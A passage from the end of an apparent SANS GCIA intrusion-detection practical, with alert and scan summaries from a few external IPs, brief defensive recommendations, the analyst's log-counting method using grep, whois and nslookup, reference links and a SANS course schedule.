204.152.184.75      --Possible Squid Scan ->
                    --SCAN Proxy attempt--->
          --IDS50/trojan_trojan-active-subseven -->
          --Possible myserver activity-->
          --6143 SYN connections ------------->
210.58.102.86  --spp_portscan ---------------------> MY.NET.all
```

Scana Data:

```
210.58.102.86  --SYN connection --------------------> MY.NET.70.148
               --ICMP Destination Unreachable---> MY.NET.15.12
               --ICMP Destination Unreachable---> MY.NET.15.13
          --beetle.ucs -> MY.NET.70.69
```

I) Insights into possible compromises or dangerous activity.
See the hosts that I chose to examine more closely in F)
as well as detailed descriptions in D).

J) Defensive Recommendations.
I speak about defensive recommendations throughout. Mostly, they encompass blocking local services from direct, outside connections. Ideally, a firewall should be in place with stateful inspections.

K) Description of my analysis process.

Since the OOS data files were small enough, I looked over them by hand. This
wasn't a waste since it was the packet data, flags, and other characteristics that I needed to look at anyway.

The alert and scans data files were definately too large to look at manually.
Each totaled around 33 megabytes. For these files, I uniquely identified each
attack or scan detect and looped through the data file counting the instances
of each. Uniquely identifiying these detects was an interesting process and involved filtering out identified detects until I was left with nothing.

For the top talkers, I again used shell scripts to loop through all of the unique source (hence, initial talker) addresses and "grep -c" a reduced file with just IP addresses.

Looking up an IP addresses network registration information was done using the
tools "whois" and "nslookup". This is sufficient for the law enforcement branch to persue the next hop.

Analyze This References:

http://www.gcia.org/practicals.html
http://www.sans.org/y2k/092400.htm
http://www.zeltser.com/sans/idic-practical/
http://lwn.net/2000/1012/security.php3)
http://www.giac.org/practical/Christof_Voemel_GCIA.txt
http://www.zeltser.com/sans/idic-practical/
http://www.giac.org/practical/Wes_Bateman_GCIA.zip.gz
http://www.giac.org/practical/Chris_Baker_GCIA.zip.gz
http://www.giac.org/practical/Becky_Pinkard_GCIA.zip.gz
http://www.giac.org/practical/Don_Valentino_GCIA.zip.gz
http://www.giac.org/practical/Donald_Pitts_GCIA.zip.gz
http://www.giac.org/practical/Garreth_jeremiah_GCIA.zip.gz

Last Updated: May 25th, 2017

Upcoming Training

Security Operations Center Summit & Training	**Washington, DC**	**Jun 05, 2017 - Jun 12, 2017**	**Live Event**
SANS Houston 2017	**Houston, TX**	**Jun 05, 2017 - Jun 10, 2017**	**Live Event**
SANS Columbia, MD 2017	**Columbia, MD**	**Jun 26, 2017 - Jul 01, 2017**	**Live Event**
SANS London July 2017	**London, United Kingdom**	**Jul 03, 2017 - Jul 08, 2017**	**Live Event**
SANSFIRE 2017	**Washington, DC**	**Jul 22, 2017 - Jul 29, 2017**	**Live Event**
SANSFIRE 2017 - SEC503: Intrusion Detection In-Depth	**Washington, DC**	**Jul 24, 2017 - Jul 29, 2017**	**vLive**
SANS San Antonio 2017	**San Antonio, TX**	**Aug 06, 2017 - Aug 11, 2017**	**Live Event**
SANS Boston 2017	**Boston, MA**	**Aug 07, 2017 - Aug 12, 2017**	**Live Event**
SANS Adelaide 2017	**Adelaide, Australia**	**Aug 21, 2017 - Aug 26, 2017**	**Live Event**
SANS Virginia Beach 2017	**Virginia Beach, VA**	**Aug 21, 2017 - Sep 01, 2017**	**Live Event**
SANS Network Security 2017	**Las Vegas, NV**	**Sep 10, 2017 - Sep 17, 2017**	**Live Event**
SANS vLive - SEC503: Intrusion Detection In-Depth	**SEC503 - 201709,**	**Sep 11, 2017 - Oct 18, 2017**	**vLive**
Baltimore September 2017 - SEC503: Intrusion Detection In-Depth	**Baltimore, MD**	**Sep 25, 2017 - Sep 30, 2017**	**vLive**
SANS Baltimore Fall 2017	**Baltimore, MD**	**Sep 25, 2017 - Sep 30, 2017**	**Live Event**
SANS London September 2017	**London, United Kingdom**	**Sep 25, 2017 - Sep 30, 2017**	**Live Event**
Community SANS Scottsdale SEC503	**Scottsdale, AZ**	**Oct 02, 2017 - Oct 07, 2017**	**Community SANS**
Community SANS Boston SEC503	**Boston, MA**	**Oct 09, 2017 - Oct 14, 2017**	**Community SANS**
SANS October Singapore 2017	**Singapore, Singapore**	**Oct 09, 2017 - Oct 28, 2017**	**Live Event**
Community SANS Ottawa SEC503	**Ottawa, ON**	**Oct 16, 2017 - Oct 21, 2017**	**Community SANS**
SANS San Diego 2017	**San Diego, CA**	**Oct 30, 2017 - Nov 04, 2017**	**Live Event**
San Diego Fall 2017 - SEC503: Intrusion Detection In-Depth	**San Diego, CA**	**Oct 30, 2017 - Nov 04, 2017**	**vLive**
SANS Seattle 2017	**Seattle, WA**	**Oct 30, 2017 - Nov 04, 2017**	**Live Event**
SIEM & Tactical Analytics Summit & Training	**Scottsdale, AZ**	**Nov 28, 2017 - Dec 05, 2017**	**Live Event**
SANS OnDemand	**Online**	**Anytime**	**Self Paced**
SANS SelfStudy	**Books & MP3s Only**	**Anytime**	**Self Paced**